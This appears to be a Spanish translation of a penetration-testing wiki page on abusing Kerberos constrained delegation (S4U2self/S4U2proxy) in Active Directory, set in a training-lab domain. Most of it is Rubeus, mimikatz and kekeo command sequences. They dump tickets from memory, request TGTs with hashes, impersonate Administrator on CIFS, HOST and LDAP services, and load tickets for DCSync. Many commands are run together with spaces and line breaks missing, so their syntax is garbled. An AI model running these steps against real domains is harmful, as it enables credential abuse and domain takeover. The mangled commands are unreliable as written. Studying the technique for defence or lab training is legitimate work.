Usando esto, un administrador de dominio puede permitir que una computadora suplante a un usuario o computadora contra un servicio de una máquina.
Servicio para Usuario a sí mismo (S4U2self): Si una cuenta de servicio tiene un valor de userAccountControl que contiene TRUSTED_TO_AUTH_FOR_DELEGATION (T2A4D), entonces puede obtener un TGS para sí misma (el servicio) en nombre de cualquier otro usuario.
Servicio para Usuario a Proxy(S4U2proxy): Una cuenta de servicio podría obtener un TGS en nombre de cualquier usuario al servicio establecido en msDS-AllowedToDelegateTo. Para hacerlo, primero necesita un TGS de ese usuario a sí misma, pero puede usar S4U2self para obtener ese TGS antes de solicitar el otro.
Nota: Si un usuario está marcado como ‘La cuenta es sensible y no puede ser delegada’ en AD, no podrás suplantarlo.
Esto significa que si comprometes el hash del servicio puedes suplantar usuarios y obtener acceso en su nombre al servicio configurado (posible privesc).
Además, no solo tendrás acceso al servicio que el usuario puede suplantar, sino también a cualquier servicio porque el SPN (el nombre del servicio solicitado) no se está verificando, solo los privilegios. Por lo tanto, si tienes acceso al servicio CIFS también puedes tener acceso al servicio HOST usando la bandera /altservice en Rubeus.
Además, el acceso al servicio LDAP en DC, es lo que se necesita para explotar un DCSync.
# The first step is to get a TGT of the service that can impersonate others## If you are SYSTEM in the server, you might take it from memory.\Rubeus.exetriage.\Rubeus.exedump/luid:0x3e4/service:krbtgt/nowrap# If you are SYSTEM, you might get the AES key or the RC4 hash from memory and request one## Get AES/RC4 with mimikatzmimikatzsekurlsa::ekeys## Request with aestgt::ask /user:dcorp-adminsrv$ /domain:dollarcorp.moneycorp.local /aes256:babf31e0d787aac5c9cc0ef38c51bab5a2d2ece608181fb5f1d492ea55f61f05
.\Rubeus.exe asktgt /user:dcorp-adminsrv$ /aes256:babf31e0d787aac5c9cc0ef38c51bab5a2d2ece608181fb5f1d492ea55f61f05 /opsec /nowrap
# Request with RC4tgt::ask/user:dcorp-adminsrv$ /domain:dollarcorp.moneycorp.local/rc4:8c6264140d5ae7d03f7f2a53088a291d.\Rubeus.exeasktgt/user:dcorp-adminsrv$ /rc4:cc098f204c5887eaa8253e7c2749156f/outfile:TGT_websvc.kirbi
Existen otras formas de obtener un ticket TGT o el RC4 o AES256 sin ser SYSTEM en la computadora, como el Printer Bug y la delegación no restringida, el relé NTLM y el abuso del Servicio de Certificados de Active Directory.
Solo con tener ese ticket TGT (o hash) puedes realizar este ataque sin comprometer toda la computadora.
Usando Rubeus
#Obtain a TGS of the Administrator user to self.\Rubeus.exes4u/ticket:TGT_websvc.kirbi/impersonateuser:Administrator/outfile:TGS_administrator#Obtain service TGS impersonating Administrator (CIFS).\Rubeus.exe s4u /ticket:TGT_websvc.kirbi /tgs:TGS_administrator_Administrator@DOLLARCORP.MONEYCORP.LOCAL_to_websvc@DOLLARCORP.MONEYCORP.LOCAL /msdsspn:"CIFS/dcorp-mssql.dollarcorp.moneycorp.local" /outfile:TGS_administrator_CIFS
#Impersonate Administrator on different service (HOST).\Rubeus.exe s4u /ticket:TGT_websvc.kirbi /tgs:TGS_administrator_Administrator@DOLLARCORP.MONEYCORP.LOCAL_to_websvc@DOLLARCORP.MONEYCORP.LOCAL /msdsspn:"CIFS/dcorp-mssql.dollarcorp.moneycorp.local" /altservice:HOST /outfile:TGS_administrator_HOST
# Get S4U TGS + Service impersonated ticket in 1 cmd (instead of 2).\Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:"CIFS/dcorp-mssql.dollarcorp.moneycorp.local" /user:dcorp-adminsrv$ /ticket:TGT_websvc.kirbi /nowrap
#Load ticket in memory.\Rubeus.exeptt/ticket:TGS_administrator_CIFS_HOST-dcorp-mssql.dollarcorp.moneycorp.local
kekeo + Mimikatz
#Obtain a TGT for the Constained allowed usertgt::ask/user:dcorp-adminsrv$ /domain:dollarcorp.moneycorp.local/rc4:8c6264140d5ae7d03f7f2a53088a291d#Get a TGS for the service you are allowed (in this case time) and for other one (in this case LDAP)tgs::s4u /tgt:TGT_dcorpadminsrv$@DOLLARCORP.MONEYCORP.LOCAL_krbtgt~dollarcorp.moneycorp.local@DOLLAR CORP.MONEYCORP.LOCAL.kirbi /user:Administrator@dollarcorp.moneycorp.local /service:time/dcorp-dc.dollarcorp.moneycorp.LOCAL|ldap/dcorpdc.dollarcorp.moneycorp.LOCAL
#Load the TGS in memoryInvoke-Mimikatz -Command '"kerberos::ptt TGS_Administrator@dollarcorp.moneycorp.local@DOLLARCORP.MONEYCORP.LOCAL_ldap~ dcorp-dc.dollarcorp.moneycorp.LOCAL@DOLLARCORP.MONEYCORP.LOCAL_ALT.kirbi"'